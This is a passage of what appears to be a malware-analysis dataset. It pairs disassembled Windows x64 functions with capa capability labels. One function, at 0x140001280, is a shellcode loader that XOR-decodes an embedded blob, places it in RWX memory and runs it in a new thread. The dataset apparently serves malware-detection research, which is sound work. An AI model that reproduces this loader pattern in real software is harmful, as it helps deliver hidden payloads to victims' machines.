joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1403aace0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x38
cmp r8d, 8
jge 0x1403aad7d
xor eax, eax
cmp r8d, 4
jl 0x1403aad31
add r8d, 0xfffffffc
movsx r10, word [rcx + rax*2]
movsx r9, dx
cmp r10d, r9d
je 0x1403aad78
nop dword [rax]
movsx r10, word [rcx + rax*2 + 2]
cmp r10d, r9d
je 0x1403aad71
movsx r10, word [rcx + rax*2 + 4]
cmp r10d, r9d
je 0x1403aad69
movsx r10, word [rcx + rax*2 + 6]
cmp r10d, r9d
je 0x1403aad61
add rax, 4
test r8d, r8d
jle 0x1403aaf5a
movsx r9, dx
nop
dec r8d
movsx rdx, word [rcx + rax*2]
cmp edx, r9d
je 0x1403aad78
inc rax
test r8d, r8d
jg 0x1403aad40
jmp 0x1403aaf5a
add eax, 3
jmp 0x1403aaf55
add eax, 2
jmp 0x1403aaf55
inc eax
jmp 0x1403aaf55
jmp 0x1403aaf55
movsx r9, dx
movd xmm0, r9d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov rax, rcx
lea edx, [r8 - 8]
movsxd rdx, edx
add rdx, rdx
lea r10, [rax + rdx]
movups xmm1, xmmword [rax]
pcmpeqw xmm1, xmm0
movaps xmmword [rsp + 0x20], xmm1
xorps xmm2, xmm2
pcmpeqw xmm1, xmm2
pmovmskb r9d, xmm1
cmp r9d, 0xffff
jne 0x1403aae96
add rax, 0x10
cmp rax, r10
jbe 0x1403aada0
mov eax, r8d
test al, 7
je 0x1403aaf5a
movups xmm1, xmmword [r10]
pcmpeqw xmm0, xmm1
movaps xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
pcmpeqw xmm0, xmm1
pmovmskb ecx, xmm0
cmp ecx, 0xffff
je 0x1403aaf5a
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
jne 0x1403aaf4c
mov ecx, 0x20
jmp 0x1403aaf4f
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
jne 0x1403aaf3d
mov r8d, 0x20
jmp 0x1403aaf41
bsf r8d, edx
sub rax, rcx
shr rax, 1
add eax, r8d
jmp 0x1403aaf55
bsf ecx, eax
shr rdx, 1
lea eax, [rdx + rcx]
add rsp, 0x38
ret
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x1403b5220
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
cmp r9d, 8
jge 0x1403b5271
movzx r10d, dx
sub r8d, r10d
movzx eax, r8w
xor edx, edx
test r9d, r9d
jle 0x1403b549b
movsxd r8, edx
movzx r8d, word [rcx + r8*2]
sub r8d, r10d
movzx r8d, r8w
cmp r8d, eax
jle 0x1403b5265
inc edx
cmp edx, r9d
jl 0x1403b5245
jmp 0x1403b549b
mov eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
movzx r10d, dx
movd xmm0, r10d
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
mov eax, r8d
sub eax, r10d
movzx eax, ax
movd xmm1, eax
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
mov rax, rcx
add r9d, 0xfffffff8
mov edx, r9d
add rdx, rdx
lea r8, [rax + rdx]
movups xmm2, xmmword [0x1405e0820]
movaps xmm3, xmm1
psubw xmm3, xmm2
movups xmm4, xmmword [rax]
psubw xmm4, xmm0
movaps xmm5, xmm4
psubw xmm5, xmm2
movaps xmm6, xmm3
pcmpgtw xmm6, xmm5
pcmpeqw xmm4, xmm1
por xmm4, xmm6
movaps xmmword [rsp + 0x20], xmm4
xorps xmm5, xmm5
pcmpeqw xmm4, xmm5
pmovmskb r10d, xmm4
cmp r10d, 0xffff
jne 0x1403b53db
add rax, 0x10
cmp rax, r8
jb 0x1403b52b8
movups xmm4, xmmword [r8]
psubw xmm4, xmm0
movaps xmm0, xmm4
psubw xmm0, xmm2
pcmpgtw xmm3, xmm0
pcmpeqw xmm1, xmm4
por xmm1, xmm3
movaps xmmword [rsp + 0x20], xmm1
xorps xmm0, xmm0
pcmpeqw xmm0, xmm1
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x1403b549b
mov rax, qword [rsp + 0x20]
mov qword [rsp + 8], rax
movzx eax, word [rsp + 8]
shr eax, 0xf
movzx ecx, word [rsp + 0xa]
shr ecx, 0xf
add ecx, ecx
or eax, ecx
movzx ecx, word [rsp + 0xc]
shr ecx, 0xf
shl ecx, 2
or ecx, eax
mov eax, ecx
movzx ecx, word [rsp + 0xe]
shr ecx, 0xf
shl ecx, 3
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28]
mov qword [rsp], rcx
movzx ecx, word [rsp]
shr ecx, 0xf
movzx r8d, word [rsp + 2]
shr r8d, 0xf
add r8d, r8d
or ecx, r8d
movzx r8d, word [rsp + 4]
shr r8d, 0xf
shl r8d, 2
or r8d, ecx
mov ecx, r8d
movzx r8d, word [rsp + 6]
shr r8d, 0xf
shl r8d, 3
or r8d, ecx
mov ecx, r8d
shl ecx, 4
or eax, ecx
bsf ecx, eax
mov r8d, 0x20
test eax, eax
cmove ecx, r8d
mov eax, ecx
shr rdx, 1
add eax, edx
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov rdx, qword [rsp + 0x20]
mov qword [rsp + 0x18], rdx
movzx edx, word [rsp + 0x18]
shr edx, 0xf
movzx r8d, word [rsp + 0x1a]
shr r8d, 0xf
add r8d, r8d
or edx, r8d
movzx r8d, word [rsp + 0x1c]
shr r8d, 0xf
shl r8d, 2
or r8d, edx
mov edx, r8d
movzx r8d, word [rsp + 0x1e]
shr r8d, 0xf
shl r8d, 3
or r8d, edx
mov edx, r8d
mov r8, qword [rsp + 0x28]
mov qword [rsp + 0x10], r8
movzx r8d, word [rsp + 0x10]
shr r8d, 0xf
movzx r10d, word [rsp + 0x12]
shr r10d, 0xf
add r10d, r10d
or r8d, r10d
movzx r10d, word [rsp + 0x14]
shr r10d, 0xf
shl r10d, 2
or r10d, r8d
mov r8d, r10d
movzx r10d, word [rsp + 0x16]
shr r10d, 0xf
shl r10d, 3
or r10d, r8d
mov r8d, r10d
shl r8d, 4
or edx, r8d
bsf r8d, edx
mov r10d, 0x20
test edx, edx
cmove r8d, r10d
sub rax, rcx
shr rax, 1
add eax, r8d
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
mov eax, 0xffffffff
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x140001280
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x7c8
mov dword [rsp + 0x34], 0
lea rax, [rsp + 0x60]
lea rcx, [0x14001a8f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x760
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x34], 0x760
mov dword [rsp + 0x30], 0
jmp 0x1400012cf
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x30], eax
jge 0x1400012f4
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd rax, dword [rsp + 0x30]
lea rax, [rsp + rax + 0x60]
lock xor byte [rax], 0xa
jmp 0x1400012c5
movsxd rax, dword [rsp + 0x34]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
movsxd rax, dword [rsp + 0x34]
lea rcx, [rsp + 0x60]
mov rdi, qword [rsp + 0x40]
mov rsi, rcx
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x3c], 0xffffffff
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x38]
call fcn.1400013d0
xor eax, eax
add rsp, 0x7c8
pop rdi
pop rsi
ret

Function at 0x140001390
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
xor eax, eax
test eax, eax
je 0x1400013af
movsx eax, byte [rsp + 0x28]
or eax, 0x20
mov dword [rsp], eax
jmp 0x1400013b7
movsx eax, byte [rsp + 0x28]
mov dword [rsp], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
add rsp, 0x18
ret

Function at 0x140001c64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cae
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cb0
xor al, al
add rsp, 0x28
ret

Function at 0x140008698
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008494
Function at 0x14000b108
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000b18f
mov rsi, rbx
cmp word [rax], bp
je 0x14000b14e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000b138
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000b134
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000bf84
mov rdi, rax
test rax, rax
je 0x14000b17c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140011510
mov rbp, rdi
xor ecx, ecx
call fcn.140009df8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140010ce0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140010d08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140010d08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x100014f28
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov ebx, ecx
mov esi, 1
xor ecx, ecx
mov edx, esi
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov r11d, dword [0x100033220]
cmp ebx, 2
cmovge r11d, esi
lea rdx, [0x100033010]
mov r8d, 0x104
xor ecx, ecx
mov dword [0x100033220], r11d
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ebx, ebx
mov edi, ebx
mov ebp, ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x98]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rsp + 0x98], esi
mov dword [rsp + 0x80], esi
mov r15, rax
jle 0x100014fff
lea r14, [rax + 8]
mov r13, qword [r14]
cmp word [r13], 0x2f
je 0x100014fbe
cmp word [r13], 0x2d
jne 0x100014ffa
mov r12d, ebx
mov rsi, rbx
lea rax, [0x100012a84]
mov edx, r12d
lea rcx, [r13 + 2]
imul rdx, rdx, 0x184
add rdx, rax
call fcn.10001e2d8
cmp eax, ebx
je 0x10001507a
inc r12d
inc rsi
cmp r12d, 7
jb 0x100014fc4
mov esi, 1
mov ebp, 0x80040903
cmp r15, rbx
je 0x10001500d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp ebp, ebx
mov eax, 0x80000000
cmovl edi, eax
cmp edi, ebx
jne 0x1000150b6
lea rcx, [0x100013520]
lea rax, [0x100015134]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
cmp eax, ebx
jne 0x100015113
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp eax, 0x427
jne 0x100015068
call fcn.1000151a0
movzx eax, di
or eax, 0x80070000
cmp edi, ebx
cmovle eax, edi
jmp 0x100015111
imul rsi, rsi, 0x184
lea rax, [0x100012a80]
add r14, 8
or edi, dword [rsi + rax]
mov eax, dword [rsp + 0x80]
mov esi, 1
add eax, esi
cmp eax, dword [rsp + 0x98]
mov dword [rsp + 0x80], eax
jge 0x100014fff
jmp 0x100014fab
bt edi, 0x1f
jae 0x1000150c3
call fcn.1000151a0
jmp 0x100015111
test sil, dil
je 0x1000150cf
call fcn.1000152b8
jmp 0x100015111
test dil, 2
je 0x1000150dc
call fcn.100015710
jmp 0x100015111
test edi, 0x70000000
je 0x1000150eb
call fcn.1000158d8
jmp 0x100015111
test dil, 4
je 0x1000150ff
lea rcx, [0x100013520]
call fcn.10001b800
jmp 0x100015111
test dil, 8
je 0x100015113
lea rcx, [0x100013520]
call fcn.10001b460
mov ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x100015710
Capabilities:
Delete registry key
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
sub rsp, 0x280
mov rax, qword [0x100030180]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea r12, [0x100013520]
mov rsi, rax
test rax, rax
jne 0x100015780
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x100014bb8]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov edx, ebx
call fcn.10001e3a8
jmp 0x10001582b
mov r8d, 0x2c
mov rdx, r12
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x1000157be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x100014bf0]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov edx, ebx
call fcn.10001e3a8
jmp 0x100015814
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov r9d, 0x24
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10001580a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x1000149d0]
mov rdx, r12
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov r8d, ebx
call fcn.10001e3a8
jmp 0x100015814
xor ebx, ebx
cmp dword [rsp + 0x3c], 1
setne bl
test rdi, rdi
je 0x100015822
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x100015837
mov rcx, r12
call fcn.10001b800
mov rcx, r12
call fcn.10001b1cc
mov ebx, eax
cmp eax, 0x80070424
je 0x10001584c
test eax, eax
jne 0x1000158a6
lea r9, [0x100013550]
lea r8, [0x1000141b0]
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov qword [rsp + 0x20], r12
call fcn.100015ca0
mov ebx, eax
test eax, eax
jne 0x1000158a6
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
test eax, eax
je 0x1000158a6
movzx ebx, ax
lea rcx, [0x100014430]
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov edx, ebx
call fcn.10001e3a8
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.10001e0c0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r12
ret
Function at 0x1000158d8
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x100030180]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r8d, dword [0x100033220]
lea r9, str.VEN_14F1REARLINEOUTWAVE
lea rdx, [0x100013520]
lea rcx, [rsp + 0xd0]
mov dword [rsp + 0x20], 2
call fcn.10001aa0c
mov ebx, 0x22
lea rcx, [rsp + 0x210]
lea rdx, [0x100013660]
mov r8, rbx
call fcn.100023a50
lea rcx, [rsp + 0x238]
lea rdx, [0x100013660]
mov r8, rbx
call fcn.100023a50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edi, edi
mov edx, 0x7f00
mov rbx, rax
lea rax, [0x100015b04]
xor ecx, ecx
mov dword [rsp + 0x70], 0x50
mov dword [rsp + 0x74], 3
mov dword [rsp + 0x80], edi
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x84], edi
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rdi
call qword [sym.imp.USER32.dll_LoadCursorW]
lea esi, [rdi + 6]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x210]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xb0], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov eax, 0x80000000
mov dword [rsp + 0x38], edi
lea r8, [rsp + 0x238]
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x210]
mov r9d, 0xcf0000
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r8, [rsp + 0xd0]
lea edx, [rdi - 0x15]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
lea edi, [rsi - 5]
lea r8d, [rsi + 0xa]
lea rcx, [rsp + 0x60]
mov edx, edi
mov word [rsp + 0x60], di
mov word [rsp + 0x62], si
mov dword [rsp + 0x64], 0x100
mov qword [rsp + 0x68], rbx
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rcx, [0x100015c64]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea r11, [rsp + 0xd0]
lea r8, [rsp + 0xc0]
lea rcx, [rsp + 0xd0]
mov r9, rbx
mov edx, edi
mov qword [0x100033228], r11
call fcn.100018b74
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
lea rcx, [rsp + 0xd0]
call fcn.10001ab70
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.10001e0c0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1000185d8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov r13, rcx
mov r12d, edx
lea rcx, [0x100031f20]
xor edx, edx
xor ebx, ebx
call fcn.10001d95c
lea r14d, [rbx + 1]
mov ebp, r14d
jmp 0x1000186be
test rbx, rbx
jne 0x1000186ca
mov eax, r12d
lea edx, [rbx + 6]
xor r9d, r9d
shr eax, 4
mov rcx, rsi
add ax, r14w
movzx r8d, ax
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov rbx, rax
test rax, rax
je 0x1000186ad
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x10001865a
xor ebx, ebx
jmp 0x1000186a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x100018656
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, r12d
mov r11d, eax
add r11, rdi
and ecx, 0xf
jbe 0x100018697
cmp rdi, r11
jae 0x100018656
add ecx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x100018685
cmp rdi, r11
jae 0x100018656
movzx eax, word [rdi]
neg ax
sbb rbx, rbx
and rbx, rdi
test rbx, rbx
jne 0x1000186cc
lea rcx, [0x100031f20]
mov edx, ebp
call fcn.10001d95c
add ebp, r14d
mov rsi, rax
test rax, rax
jne 0x100018617
xor esi, esi
test rsi, rsi
jne 0x1000186d5
xor eax, eax
jmp 0x1000186e3
mov r8d, r12d
mov rdx, rsi
mov rcx, r13
call fcn.100018834
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x100018834
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov eax, r8d
mov rbp, rdx
mov r14d, 1
shr eax, 4
mov ebx, r8d
mov rsi, rcx
add ax, r14w
lea r8d, [r14 + 5]
mov rcx, rbp
movzx edx, ax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor r13d, r13d
mov r12, rax
cmp rax, r13
je 0x1000189aa
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LoadResource]
cmp rax, r13
je 0x1000189aa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
cmp rax, r13
je 0x1000189aa
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rdi
and ebx, 0xf
jbe 0x1000188e0
cmp rdi, r11
jae 0x1000189aa
add ebx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x1000188ca
cmp rdi, r11
jae 0x1000189aa
cmp word [rdi], r13w
je 0x1000189aa
mov rax, qword [rsi]
movzx ebx, word [rdi]
mov ecx, r14d
sub ecx, dword [rax - 8]
mov eax, dword [rax - 0xc]
sub eax, ebx
or ecx, eax
jge 0x100018912
mov edx, ebx
mov rcx, rsi
call fcn.1000189ec
movzx ecx, word [rdi]
lea r8, [rdi + 2]
cmp ecx, 0xffffffff
jne 0x100018933
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r8
repne scasw ax, word [rdi]
not rcx
sub rcx, r14
add ecx, r14d
movsxd r9, ecx
mov rcx, qword [rsi]
lea rdi, [rbx + rbx]
mov rdx, rdi
add r9, r9
call fcn.10001e8d8
cmp eax, r13d
je 0x100018982
cmp eax, 0xc
je 0x100018977
cmp eax, 0x16
je 0x10001896c
cmp eax, 0x22
je 0x10001896c
cmp eax, 0x50
je 0x100018982
mov ecx, 0x80004005
call fcn.100018b44
int3
mov ecx, 0x80070057
call fcn.100018b44
int3
mov ecx, 0x8007000e
call fcn.100018b44
int3
cmp ebx, r13d
jl 0x10001899f
mov rcx, qword [rsi]
cmp ebx, dword [rcx - 0xc]
jg 0x10001899f
mov dword [rcx - 0x10], ebx
mov rcx, qword [rsi]
mov eax, r14d
mov word [rdi + rcx], r13w
jmp 0x1000189ac
mov ecx, 0x80070057
call fcn.100018b44
int3
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x100018b74
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0xb0
mov rax, qword [0x100030180]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rbx, rcx
mov qword [rcx + 0x90], r9
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov r11, qword [rbx]
mov rcx, rbx
call qword [r11 + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rbx
call fcn.100018dcc
cmp dword [rbx + 0x1c], 0
mov rax, qword [rbx + 0x30]
mov r12d, 1
je 0x100018c99
mov qword [rsp + 0x48], rax
mov rax, qword [rbx + 0x38]
mov qword [rsp + 0x50], rax
jmp 0x100018c86
xor r8d, r8d
lea rdx, [rsp + 0x48]
or r9d, 0xffffffff
lea ecx, [r8 + 2]
mov dword [rsp + 0x20], 0x4ff
call qword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
test eax, eax
jne 0x100018c38
mov eax, dword [rbx + 0x20]
xchg dword [rbx + 0x20], eax
test eax, eax
jne 0x100018d6b
lea rdx, [rbx + 0x40]
mov rcx, rbx
call fcn.100018f4c
test eax, eax
jne 0x100018d6b
jmp 0x100018c64
cmp eax, r12d
jne 0x100018c64
mov rcx, rbx
call fcn.100018fd0
jmp 0x100018c64
cmp dword [rsp + 0x60], 0x12
je 0x100018c82
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x58]
call qword [sym.imp.USER32.dll_DispatchMessageW]
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x100018c47
jmp 0x100018c86
mov dword [rbx + 0x20], r12d
mov eax, dword [rbx + 0x20]
xchg dword [rbx + 0x20], eax
test eax, eax
je 0x100018bf2
jmp 0x100018d6b
mov qword [rsp + 0x38], rax
mov rax, qword [rbx + 0x38]
mov qword [rsp + 0x40], rax
jmp 0x100018d5d
xor r8d, r8d
lea rdx, [rsp + 0x38]
or r9d, 0xffffffff
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor ebp, ebp
lea rcx, [rsp + 0x88]
lea r8d, [rbp + 0x20]
lea rdx, [0x100013a40]
mov edi, eax
call fcn.100023a50
mov ecx, 0xfffe
mov dword [rsp + 0x30], 0x7fff
call fcn.10001db94
mov rsi, rax
test rax, rax
je 0x100018d30
lea rdx, [rsp + 0x30]
mov rcx, rax
